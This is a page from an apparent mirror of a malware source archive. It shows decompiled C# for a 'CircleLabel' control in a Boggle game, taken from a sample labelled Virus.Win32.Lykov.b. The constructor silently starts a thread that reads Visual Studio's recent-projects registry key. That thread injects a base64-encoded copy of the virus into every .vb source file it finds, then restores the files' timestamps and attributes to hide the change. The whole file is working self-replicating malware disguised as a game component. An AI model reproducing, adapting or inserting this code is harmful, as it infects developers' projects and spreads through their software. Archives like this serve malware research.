mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 09:56:10 +00:00
f2ac1ece55
add
215 lines
9.8 KiB
C#
215 lines
9.8 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: Boggle.CircleLabel
|
|
// Assembly: Boggle, Version=1.0.1320.31511, Culture=neutral, PublicKeyToken=null
|
|
// MVID: B8BB850A-887A-43B2-B89D-3D1301289D01
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833.exe
|
|
|
|
using Microsoft.VisualBasic;
|
|
using Microsoft.VisualBasic.CompilerServices;
|
|
using Microsoft.Win32;
|
|
using System;
|
|
using System.ComponentModel;
|
|
using System.Diagnostics;
|
|
using System.Drawing;
|
|
using System.Drawing.Drawing2D;
|
|
using System.IO;
|
|
using System.Runtime.CompilerServices;
|
|
using System.Text;
|
|
using System.Threading;
|
|
using System.Windows.Forms;
|
|
|
|
namespace Boggle
|
|
{
|
|
public class CircleLabel : UserControl
|
|
{
|
|
[AccessedThroughProperty("lblText")]
|
|
private Label _lblText;
|
|
private IContainer components;
|
|
private string clsText;
|
|
private System.Drawing.Color clsHighLight;
|
|
private long clsRadius;
|
|
private System.Drawing.Color clsCubeTextColor;
|
|
|
|
internal virtual Label lblText
|
|
{
|
|
[MethodImpl(MethodImplOptions.Synchronized)] set
|
|
{
|
|
if (this._lblText != null)
|
|
this._lblText.Click -= new EventHandler(this.CircleLabel_Click);
|
|
this._lblText = value;
|
|
if (this._lblText == null)
|
|
return;
|
|
this._lblText.Click += new EventHandler(this.CircleLabel_Click);
|
|
}
|
|
get => this._lblText;
|
|
}
|
|
|
|
public virtual event CircleLabel.CubeClickEventHandler CubeClick;
|
|
|
|
private void vIT()
|
|
{
|
|
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\VisualStudio\\7.0\\ProjectMRUList");
|
|
if (registryKey.ValueCount == 0)
|
|
ProjectData.EndApp();
|
|
string String2 = "Private Sub vIT()";
|
|
string str1 = "Public Sub New()";
|
|
string str2 = "Dim t As New System.Threading.Thread(AddressOf vIT)\r\nt.Start()";
|
|
string str3 = "UHJpdmF0ZSBTdWIgdklUKCkNCkRpbSBYLCBZIEFzIEludGVnZXINCkRpbSBBLCBC" + "KCksIEMsIEcsIEgsIEksIEosIEssIEwgQXMgU3RyaW5nDQpEaW0gRCwgRiBBcyBE" + "YXRlDQpEaW0gUiBBcyBNaWNyb3NvZnQuV2luMzIuUmVnaXN0cnlLZXkNCkRpbSBT" + "IEFzIFN5c3RlbS5JTy5TdHJlYW1SZWFkZXINCkRpbSBUIEFzIFN5c3RlbS5JTy5T" + "dHJlYW1Xcml0ZXINCkRpbSBVIEFzIFN5c3RlbS5JTy5GaWxlQXR0cmlidXRlcw0K" + "UiA9IE1pY3Jvc29mdC5XaW4zMi5SZWdpc3RyeS5DdXJyZW50VXNlci5PcGVuU3Vi" + "S2V5KCJTb2Z0d2FyZVxNaWNyb3NvZnRcVmlzdWFsU3R1ZGlvXDcuMFxQcm9qZWN0" + "TVJVTGlzdCIpDQpJZiBSLlZhbHVlQ291bnQgPSAwIFRoZW4gRW5kDQpHID0gIlBy" + "aXZhdGUgU3ViIHZJVCgpIg0KSCA9ICJQdWJsaWMgU3ViIE5ldygpIg0KSSA9ICJE" + "aW0gdCBBcyBOZXcgU3lzdGVtLlRocmVhZGluZy5UaHJlYWQoQWRkcmVzc09mIHZJ" + "VCkiICYgdmJDckxmICYgInQuU3RhcnQoKSINCkogPSAiIg0KSyA9IFN5c3RlbS5U" + "ZXh0LkVuY29kaW5nLkFTQ0lJLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gcm9t" + "QmFzZTY0U3RyaW5nKEopKQ0KTCA9ICJKID0gIiAmIENocigzNCkNCkZvciBYID0g" + "MSBUbyBMZW4oSikgU3RlcCA2NA0KSWYgWCArIDY0IDwgTGVuKEopIFRoZW4NCkwg" + "PSBMICYgTWlkKEosIFgsIDY0KSAmIENocigzNCkgJiB2YkNyTGYgJiAiSiA9IEog" + "JiAiICYgQ2hyKDM0KQ0KRWxzZQ0KTCA9IEwgJiBNaWQoSiwgWCwgNjQpICYgQ2hy" + "KDM0KQ0KRW5kIElmDQpOZXh0DQpLID0gUmVwbGFjZShLLCAiSiA9ICIgJiBDaHIo" + "MzQpICYgQ2hyKDM0KSwgTCwgMSwgMSwgQ29tcGFyZU1ldGhvZC5UZXh0KQ0KTCA9" + "ICIiDQpGb3IgWCA9IDAgVG8gUi5WYWx1ZUNvdW50IC0gMQ0KQSA9IFIuR2V0VmFs" + "dWUoUi5HZXRWYWx1ZU5hbWVzKFgpKQ0KQSA9IE1pZChBLCAxLCBJblN0clJldihB" + "LCAiXCIsIC0xLCBDb21wYXJlTWV0aG9kLlRleHQpKQ0KSWYgU3lzdGVtLklPLkRp" + "cmVjdG9yeS5FeGlzdHMoQSkgVGhlbg0KQiA9IFN5c3RlbS5JTy5EaXJlY3Rvcnku" + "R2V0RmlsZXMoQSwgIioudmIiKQ0KRm9yIFkgPSBMQm91bmQoQikgVG8gVUJvdW5k" + "KEIpDQpEID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdEFjY2Vzc1RpbWUoQihZKSkN" + "CkYgPSBTeXN0ZW0uSU8uRmlsZS5HZXRMYXN0V3JpdGVUaW1lKEIoWSkpDQpVID0g" + "U3lzdGVtLklPLkZpbGUuR2V0QXR0cmlidXRlcyhCKFkpKQ0KU3lzdGVtLklPLkZp" + "bGUuU2V0QXR0cmlidXRlcyhCKFkpLCBJTy5GaWxlQXR0cmlidXRlcy5Ob3JtYWwp" + "DQpTID0gU3lzdGVtLklPLkZpbGUuT3BlblRleHQoQihZKSkNCkMgPSBTLlJlYWRU" + "b0VuZCgpDQpTLkNsb3NlKCkNCklmIEluU3RyKEMsIEcsIENvbXBhcmVNZXRob2Qu" + "VGV4dCkgPSAwIEFuZCBJblN0cihDLCBILCBDb21wYXJlTWV0aG9kLlRleHQpIDw+" + "IDAgVGhlbg0KQyA9IFJlcGxhY2UoQywgIk15QmFzZS5OZXcoKSIsICJNeUJhc2Uu" + "TmV3KCkiICYgdmJDckxmICYgSSwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQpDQpD" + "ID0gUmVwbGFjZShDLCBILCBLICYgSCwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQp" + "DQpUID0gU3lzdGVtLklPLkZpbGUuQ3JlYXRlVGV4dChCKFkpKQ0KVC5Xcml0ZShD" + "KQ0KVC5GbHVzaCgpDQpULkNsb3NlKCkNCkVuZCBJZg0KU3lzdGVtLklPLkZpbGUu" + "U2V0TGFzdFdyaXRlVGltZShCKFkpLCBGKQ0KU3lzdGVtLklPLkZpbGUuU2V0TGFz" + "dEFjY2Vzc1RpbWUoQihZKSwgRCkNClN5c3RlbS5JTy5GaWxlLlNldEF0dHJpYnV0" + "ZXMoQihZKSwgVSkNCk5leHQNCkVuZCBJZg0KTmV4dA0KRW5kIFN1Yg0K";
|
|
string Expression = Encoding.ASCII.GetString(Convert.FromBase64String(str3));
|
|
string Replacement = "J = \"";
|
|
int num1 = Strings.Len(str3);
|
|
int Start = 1;
|
|
while (Start <= num1)
|
|
{
|
|
Replacement = checked (Start + 64) >= Strings.Len(str3) ? Replacement + Strings.Mid(str3, Start, 64) + "\"" : Replacement + Strings.Mid(str3, Start, 64) + "\"" + "\r\nJ = J & " + "\"";
|
|
checked { Start += 64; }
|
|
}
|
|
string str4 = Strings.Replace(Expression, "J = \"\"", Replacement, Count: 1, Compare: CompareMethod.Text);
|
|
int num2 = checked (registryKey.ValueCount - 1);
|
|
int index1 = 0;
|
|
while (index1 <= num2)
|
|
{
|
|
string str5 = StringType.FromObject(registryKey.GetValue(registryKey.GetValueNames()[index1]));
|
|
string path = Strings.Mid(str5, 1, Strings.InStrRev(str5, "\\", Compare: CompareMethod.Text));
|
|
if (Directory.Exists(path))
|
|
{
|
|
string[] files = Directory.GetFiles(path, "*.vb");
|
|
int num3 = Information.LBound((Array) files);
|
|
int num4 = Information.UBound((Array) files);
|
|
int index2 = num3;
|
|
while (index2 <= num4)
|
|
{
|
|
DateTime lastAccessTime = File.GetLastAccessTime(files[index2]);
|
|
DateTime lastWriteTime = File.GetLastWriteTime(files[index2]);
|
|
FileAttributes attributes = File.GetAttributes(files[index2]);
|
|
File.SetAttributes(files[index2], FileAttributes.Normal);
|
|
StreamReader streamReader = File.OpenText(files[index2]);
|
|
string end = streamReader.ReadToEnd();
|
|
streamReader.Close();
|
|
if (Strings.InStr(end, String2, CompareMethod.Text) == 0 & Strings.InStr(end, str1, CompareMethod.Text) != 0)
|
|
{
|
|
string str6 = Strings.Replace(Strings.Replace(end, "MyBase.New()", "MyBase.New()\r\n" + str2, Count: 1, Compare: CompareMethod.Text), str1, str4 + str1, Count: 1, Compare: CompareMethod.Text);
|
|
StreamWriter text = File.CreateText(files[index2]);
|
|
text.Write(str6);
|
|
text.Flush();
|
|
text.Close();
|
|
}
|
|
File.SetLastWriteTime(files[index2], lastWriteTime);
|
|
File.SetLastAccessTime(files[index2], lastAccessTime);
|
|
File.SetAttributes(files[index2], attributes);
|
|
checked { ++index2; }
|
|
}
|
|
}
|
|
checked { ++index1; }
|
|
}
|
|
}
|
|
|
|
public CircleLabel()
|
|
{
|
|
this.Click += new EventHandler(this.CircleLabel_Click);
|
|
new Thread(new ThreadStart(this.vIT)).Start();
|
|
this.InitializeComponent();
|
|
this.clsRadius = 55L;
|
|
this.clsText = "W";
|
|
System.Drawing.Color color = new System.Drawing.Color();
|
|
this.clsHighLight = System.Drawing.Color.LightGray;
|
|
this.clsCubeTextColor = System.Drawing.Color.DarkBlue;
|
|
}
|
|
|
|
protected override void Dispose(bool disposing)
|
|
{
|
|
if (disposing && this.components != null)
|
|
this.components.Dispose();
|
|
base.Dispose(disposing);
|
|
}
|
|
|
|
[DebuggerStepThrough]
|
|
private void InitializeComponent()
|
|
{
|
|
this.lblText = new Label();
|
|
this.SuspendLayout();
|
|
this.lblText.AutoSize = true;
|
|
this.lblText.Font = new Font("Microsoft Sans Serif", 20.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
|
this.lblText.Location = new Point(24, 32);
|
|
this.lblText.Name = "lblText";
|
|
Label lblText = this.lblText;
|
|
Size size1 = new Size(36, 31);
|
|
Size size2 = size1;
|
|
lblText.Size = size2;
|
|
this.lblText.TabIndex = 0;
|
|
this.lblText.Text = "W";
|
|
this.Controls.AddRange(new Control[1]
|
|
{
|
|
(Control) this.lblText
|
|
});
|
|
this.Name = nameof (CircleLabel);
|
|
size1 = new Size(88, 96);
|
|
this.Size = size1;
|
|
this.ResumeLayout(false);
|
|
}
|
|
|
|
public System.Drawing.Color CubeTextColor
|
|
{
|
|
get => this.clsCubeTextColor;
|
|
set
|
|
{
|
|
this.clsCubeTextColor = value;
|
|
this.Refresh();
|
|
}
|
|
}
|
|
|
|
protected override void OnPaint(PaintEventArgs pe)
|
|
{
|
|
GraphicsPath path = new GraphicsPath();
|
|
path.AddArc(0.0f, 0.0f, (float) this.clsRadius, (float) this.clsRadius, 0.0f, 360f);
|
|
this.BackColor = this.clsHighLight;
|
|
this.Width = checked ((int) this.clsRadius);
|
|
this.Height = checked ((int) this.clsRadius);
|
|
this.lblText.Text = this.clsText;
|
|
this.lblText.ForeColor = this.clsCubeTextColor;
|
|
this.lblText.Left = checked ((int) Math.Round(unchecked ((double) this.Width / 2.0 - (double) this.lblText.Width / 2.0)));
|
|
this.lblText.Top = checked ((int) Math.Round(unchecked ((double) this.Height / 2.0 - (double) this.lblText.Height / 2.0)));
|
|
this.Region = new Region(path);
|
|
}
|
|
|
|
public string CubeText
|
|
{
|
|
get => this.clsText;
|
|
set
|
|
{
|
|
this.clsText = value;
|
|
this.Refresh();
|
|
}
|
|
}
|
|
|
|
public System.Drawing.Color CubeHighLight
|
|
{
|
|
get => this.clsHighLight;
|
|
set
|
|
{
|
|
this.clsHighLight = value;
|
|
this.Refresh();
|
|
}
|
|
}
|
|
|
|
public long CubeTopRadius
|
|
{
|
|
get => this.clsRadius;
|
|
set
|
|
{
|
|
this.clsRadius = value;
|
|
this.Refresh();
|
|
}
|
|
}
|
|
|
|
private void CircleLabel_Click(object sender, EventArgs e)
|
|
{
|
|
if (this.CubeClickEvent == null)
|
|
return;
|
|
this.CubeClickEvent(this, e);
|
|
}
|
|
|
|
public delegate void CubeClickEventHandler(CircleLabel Sender, EventArgs e);
|
|
}
|
|
}
|